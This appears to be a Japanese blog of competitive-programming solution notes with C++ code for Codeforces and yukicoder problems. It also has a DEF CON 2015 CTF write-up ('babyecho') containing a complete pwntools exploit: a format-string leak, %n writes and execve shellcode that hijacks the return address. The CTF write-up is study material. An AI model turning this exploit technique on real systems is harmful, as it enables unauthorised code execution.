srupのメモ帳

競プロで解いた問題や勉強したことを記録していくメモ帳

codeforces 401 div2 B. Game of Credit Cards

問題

問題概要

数列a, bが与えられる. 数列bは好きな順番に変更することができる.
(1) a[i] > b[i] となる i の個数の最小数
(2) a[i] < b[i]となる i の個数の最大数
を求める問題

解法

2部マッチングの最大数を使ってとく.
数列bを任意の順番に動かすことができるので, (2)はa_i < b_j となるものすべてに辺をはって 2部マッチングの最大数を計算すればいい.
(1)はa[i] <= b[i]となる i の個数の最大数を求めることができれば解くことができるので, a_i <= b_j となるものすべてに辺をはって, 2部マッチングの最大値数を計算すればいい.
実装方法は最大流を求めるライブラリを使って, スタート地点とゴール地点を作ってやればいい.
また貪欲に得方法もある. (1)の場合, aの小さいところから貪欲にa<=bを満たすものの数をカウントしていけばいいし, (2)の場合, aの小さいところから貪欲にa<bをしていけばいい.

ミス

難しい.

コード

二部マッチング

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

const int MAX_V = 2010; //必要な頂点数
struct Flow{
    struct edge{
        int to, cap, rev;
    };
    vector<edge> G[MAX_V];//隣接リスト
    bool used[MAX_V];
 
    void add_edge(int from, int to, int cap){
        G[from].push_back((edge){to, cap, (int)G[to].size()});//from -> to
        G[to].push_back((edge){from, 0, (int)G[from].size() - 1});//to -> from
    }
    //増加パスを探す
    int dfs(int v, int t, int f){
        if(v == t) return f;
        used[v] = true;
        for (int i = 0; i < G[v].size(); ++i){
            edge &e = G[v][i];
            if(!used[e.to] && e.cap > 0){
                int d = dfs(e.to, t, min(f, e.cap));
                if(d > 0){
                    e.cap -= d;
                    G[e.to][e.rev].cap += d;
                    return d;
                }
            }
        }
        return 0;
    }
    //sからtへの最大流
    int max_flow(int s, int t){
        int flow = 0;
        while(1){
            memset(used, 0, sizeof(used));
            int f = dfs(s, t, INF);
            if(f == 0) return flow;
            flow += f;
        }
    }
};

int n;
int main(void){
    int n; cin >> n;
    string a, b; cin >> a >> b;
    Flow fw1, fw2;
    // s -> a() -> b() -> t

    //s->a
    rep(i, a.size()){
        fw1.add_edge(n * 2, i, 1);
        fw2.add_edge(n * 2, i, 1);
    }
    //b->t
    rep(i, b.size()){
        fw1.add_edge(n + i, n * 2 + 1, 1);
        fw2.add_edge(n + i, n * 2 + 1, 1);
    }


    // a[k] <= b[k] の最大値を求める
    rep(i, a.size())rep(j, b.size()){
        if(a[i] <= b[j]) fw1.add_edge(i, n + j, 1);
    }
    //Bが勝てる最小数
    cout << n - fw1.max_flow(n * 2, n * 2 + 1) << endl;

    // a[k] <b[k] の最大値を求める
    rep(i, a.size())rep(j, b.size()){
        if(a[i] < b[j]) fw2.add_edge(i, n + j, 1);
    }
    //Aが勝てる回数の最大値
    cout << fw2.max_flow(n * 2, n * 2 + 1) << endl;
    return 0;
}

貪欲

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

int n;
int main(void){
    int n; cin >> n;
    string a, b; cin >> a >> b;
    vector<int> va, vb;
    for(auto u : a) va.pb(u - '0');
    for(auto u : b)vb.pb(u - '0');
    sort(all(va)); sort(all(vb));

    //a[i] > b[i] の最小数 a[i] <= b[i]の最大数
    //aの小さいところから貪欲にa<=bをしていけばいい
    int ans1 = 0;
    int p = 0;
    rep(i, n){
        while(p < n && va[i] > vb[p])p++;
        if(p < n) ans1++, p++;
        if(p >= n) break;
    }
    cout << n - ans1 << endl; // 最小値に戻す

    // a[i] < b[i]の最大数
    //aの小さいところから貪欲にa<bをしていけばいい
    int ans2 = 0;
    p = 0;
    rep(i, n){
        while(p < n && va[i] >= vb[p]) p++;
        if(p < n) ans2++, p++;
        if(p >= n) break;
    }
    cout << ans2 << endl;
    return 0;
}

codeforces 401 div2 A. Shell Game

問題

問題概要

カップを3つ用意して, その中のどこかに玉をいれる. カップの番号を左から0, 1, 2としてn回動かす. その動かし方は, 奇数回の時は0と1を入れ替えて, 偶数回の時は1と2を入れ替える. n回入れ替えたあとの位置が与えられるので, はじめ何番目の位置に玉が入っていたかを求める問題.

解法

012
102
120
210
201
021
という順番で動きはじめの012に戻る. これは周期6で動くので, mod6の値を使って計算すればよい.

ミス

実験が大切.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

int main(void){
    vector<vector<int>> v = {
        {0, 1, 2}, {1, 0, 2}, {1, 2, 0}, {2, 1, 0}, {2, 0, 1}, {0, 2, 1},
    };

    int n, x; cin >> n >> x;
    n %= 6;
    printf("%d\n", v[n][x]);
    return 0;
}

Defcon Quals 2015 : babyecho

問題

問題概要

明らかなfsbがある. さらにスタックが+xである. しかし文字数制限がある.

解法

 % file babyecho 
babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped

まず, stastically linked, strippedされているせいで, main関数の始まりがわからなかった. そこでradare2というのを使ってみた.

 % radare2 babyecho 
[0x08048d0a]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x08048d0a]> afl
0x08048d0a    1 34           entry0
0x08048f3c    6 275          main
0x08049050   47 821  -> 814  fcn.08049050
[0x08048d0a]> s main
[0x08048f3c]> VV

上のようなコマンドでmainのアドレスが調べられて, ビジュアルでどのようなフローをしているから見られるようになる.
あとは, break *0x08048f3c としてgdbで調べていく.

0x8048fdb:  call   0x804f560 ; printf("Reading %d bytes\n", 0xd)
0x8048ff7:  call   0x8048e24 ; gets()
0x8049003:  call   0x8048ecf ; printf <- FSB

結果, 上のような関数が呼ばれていることがわかる.
call 0x8048ecf が行われた直後のstackの状態は,

0000| 0xffffcb20 --> 0xffffcb3c ("aaaa%x%x") ; バッファのアドレス
0004| 0xffffcb24 --> 0xd ('\r') ;  文字列の長さのコピー Reading %d bytes\nの引数としてコピーされていた
0008| 0xffffcb28 --> 0xa ('\n')
0012| 0xffffcb2c --> 0x0 
0016| 0xffffcb30 --> 0xd ('\r') ; 文字列の長さ
0020| 0xffffcb34 --> 0xffffcb3c ("aaaa%x%x") ; バッファのアドレス
0024| 0xffffcb38 --> 0x0 
0028| 0xffffcb3c ("aaaa%x%x") ; バッファ

のような形になっている. まず, 入力文字の長さを長くしようと考えたとき, 現段階での長さは13(0xd)なので, スタックに2つありどちらを変更すればよいのかがわからない. しかし, 下のような命令があり, アドレスが小さい方の0xdは多い方のアドレスの値をコピーしたものなので, 変更するべきはアドレスの大きなほうであると予想される?

0x8048fd0:  mov    DWORD PTR [esp+0x4],eax ;eax = 0xd

よってesp+0x10のアドレスをFSBで変更すれば良いのだが, stackのアドレスは実行環境で変わるのでまずstackのアドレスがわかるような値をleakしなければならない. スタックにはバッファのアドレスが入っている場所があるのでそれをleakすれば, espの値などもわかる. あとは%nを利用して文字列の長さを保存しているアドレスの値を書き換えれば良い. (13バイト指定があるので2回にわけないと大きな値に変更することができない.)
入力文字数の制限を変更したあとは, bufferに入れた, shellcodeを実行すればいいので, どこかでeipを奪えば良い.
call 0x8048ecf の関数が呼ばれた中でのret直前のスタックの様子は,

0000| 0xffffcb1c --> 0x8049008 (lea    eax,[esp+0x1c])
0004| 0xffffcb20 --> 0xffffcb3c ("aaaa")
0008| 0xffffcb24 --> 0xd ('\r')
0012| 0xffffcb28 --> 0xa ('\n')
0016| 0xffffcb2c --> 0x0 
0020| 0xffffcb30 --> 0xd ('\r')
0024| 0xffffcb34 --> 0xffffcb3c ("aaaa")
0028| 0xffffcb38 --> 0x0 

以上のようになっていて, 一番上にmainへの戻るためのeipが保存されているので, ここの値をbufferの先頭アドレス(shellcodeの先頭アドレス)に書き換えてやればshellcodeが実行される.

ミス

writeupを見た
参考サイト
https://kimiyuki.net/blog/2016/01/08/defcon-qualifier-ctf-2015-babyecho/ https://mzyy94.com/blog/2015/05/18/defcon-qual-23-writeup/
radare2の使い方
http://poppycompass.hatenablog.jp/entry/2016/10/26/164034

コード

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

b = ELF("./babyecho")
p = process("./babyecho")

index = 7 #bufferまでのindex
shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" 

#バッファのアドレスを出力
payload1 = '';
payload1 += "%5$p"
p.recvuntil("bytes\n") #0xd byte
p.sendline(payload1)
addr_buf = int(p.recvline(keepends=False), 16)
addr_esp = addr_buf - 0x1c #4 * 7
log.info("addr_buf  %x", addr_buf)
log.info("addr_esp %x", addr_esp)


#sizeの書き換え 2回
addr_size = addr_esp + 0x10 
payload2 = ''
payload2 += p32(addr_size)
payload2 += "%%%dc%%%d$n" % (99, index)
p.recvuntil('bytes\n') #13 byte
p.sendline(payload2)

addr_size = addr_esp + 0x10 
payload2 = ''
payload2 += p32(addr_size)
payload2 += "%%%dc%%%d$n" % (999, index)
p.recvuntil('bytes\n') #103byte
p.sendline(payload2)

#shellcode実行
addr_ret = addr_esp - 0x4
payload3 = ""
payload3 += p32(addr_ret)
payload3 += p32(addr_ret + 1)
payload3 += p32(addr_ret + 2)
payload3 += p32(addr_ret + 3)
payload3 += shellcode
nagasa = len(payload3)

payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[0:1]) - nagasa)                    % 256, index)
payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[1:2]) - u8(p32(addr_buf)[0:1]))    % 256, index + 1)
payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[2:3]) - u8(p32(addr_buf)[1:2]))    % 256, index + 2)
payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[3:4]) - u8(p32(addr_buf)[2:3]))    % 256, index + 3)

p.recvuntil("bytes\n") #1003
p.sendline(payload3)

p.interactive()

yukicoder No.488 四角関係

問題

問題概要

ノード間のつながりが与えられる. 任意の4つのノードの組み合わせを考えて, その4つのノード間のつながりだけを考えたときに四角形となっている組み合わせがいくつあるか.

解法

n=50なので, すべての任意の4つの組み合わせの総数nC4を全部計算しても間に合う.
4つのノードが四角形になるかを確かめる方法は, 四角形になるとき, その4頂点すべてはほかの3頂点のうちの2つとつながっている. G[i][j] := 1ならi-j間に辺があり, 0ならi-j間に辺はない
という配列Gを使って計算すればいい.

ミス

すぐに思いつきたい.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

int G[55][55];
int n, m;
int main(void){
    cin >> n >> m;
    rep(i, m){
        int a, b; cin >> a >> b;
        G[a][b] = G[b][a] = 1;
    }
    int cnt = 0;
    rep(i, n)reps(j, i + 1, n)reps(k, j + 1, n)reps(l, k + 1, n){
        int d1 = G[i][j] + G[i][k] + G[i][l];
        int d2 = G[j][i] + G[j][k] + G[j][l];
        int d3 = G[k][i] + G[k][j] + G[k][l];
        int d4 = G[l][i] + G[l][j] + G[l][k];
        if(d1 == 2 && d2 == 2 && d3 == 2 && d4 == 2) cnt++;
    }

    printf("%d\n", cnt);
    return 0;
}

yukicoder No.487 2017 Calculation(2017の計算)

問題

問題概要

2017 + (2017*2017)2017 のMOD Mを計算.

解法

2017*2017のを2017乗するととても大きな値になるので逐次MODをとりながら計算していく. 掛け算足し算の計算ではすべて計算したあとにMODをとっても, 計算途中でMODをとって計算していっても結果は変わらない.

ミス

powmodのライブラリがあればすぐ終わる. pythonだとpowの3番目の引数を使って, powmodができる. 2017回ループさせても大丈夫.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

//x^k mod
ll powmod(ll x, ll k, ll m){
    if(k == 0) return 1;
    if(k % 2 == 0) return powmod(x * x % m, k / 2, m);
    else return x * powmod(x, k - 1, m) % m;
}

int main(void){
    ll m; cin >> m;
    ll d = powmod(2017*2017, 2017, m);
    printf("%lld\n", (d + 2017) % m);
    return 0;
}

pythonの場合

m = input()
print (2017 + pow(2017 * 2017, 2017, m)) % m

yukicoder No.486 3 Straight Win(3連勝)

問題

問題概要

OXXXOXXのようなOとXからなる文字列が与えられる. OはEastの勝ちで, XはWestの勝ちを表している. 先に3連勝したほうを勝ちとする. どちらが勝つか. 勝者がない時はNAを出力.

解法

連続した3文字が同じ文字であるかを判定し, 先に同じ文字になった方を勝ちとすればいい. 最後まで見つからなければ, NAとする.

ミス

なし.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

int main(void){
    string s; cin >> s;
    if(s.size() < 3){
        printf("NA\n");
        return 0;
    }
    rep(i, s.size() - 2){
        if(s[i] == 'O' && s[i + 1] == 'O' && s[i + 2] == 'O'){
            printf("East\n");
            return 0;
        }
        if(s[i] == 'X' && s[i + 1] == 'X' && s[i + 2] == 'X'){
            printf("West\n");
            return 0;
        }
    }
    printf("NA\n");
    return 0;
}

yukicoder No.485 方程式のお勉強

問題

問題概要

A*x = B の方程式の解を求める問題. ただし, 解が少数になる場合はNOを出力.

解法

BをAで割り切れるか, 割り切れないかで場合分けする.

ミス

なし.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

int main(void){
    int a, b;
    cin >> a >> b;
    if(b % a == 0) printf("%d\n", b / a);
    else printf("NO\n");

    return 0;
}